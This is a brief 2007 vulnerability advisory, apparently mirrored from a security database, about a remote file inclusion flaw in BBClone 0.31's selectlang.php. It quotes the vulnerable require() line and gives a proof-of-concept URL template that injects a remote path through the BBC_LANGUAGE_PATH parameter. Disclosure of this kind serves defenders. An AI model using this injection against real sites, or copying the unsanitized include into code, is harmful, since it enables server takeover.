Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15828
HistoryJan 24, 2007 - 12:00 a.m.

BBClone 0.31 (selectlang.php) Remote File Inclusion Vulnerability

2007-01-2400:00:00
vulners.com
26

Script:bbclone
Affected Version:0.31
Downlaoad:http://sindominio.net/ayuda/bbclone-0.31-esp.zip

Author:Dr Max Virus

Bug in (lib/selectlang.php)
Vul Code;
require($BBC_LANGUAGE_PATH . $BBC_LANGUAGE . ".php");

POC:
http://[target]/[path]/lib/selectlang.php?BBC_LANGUAGE_PATH=[Bad Code]

Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk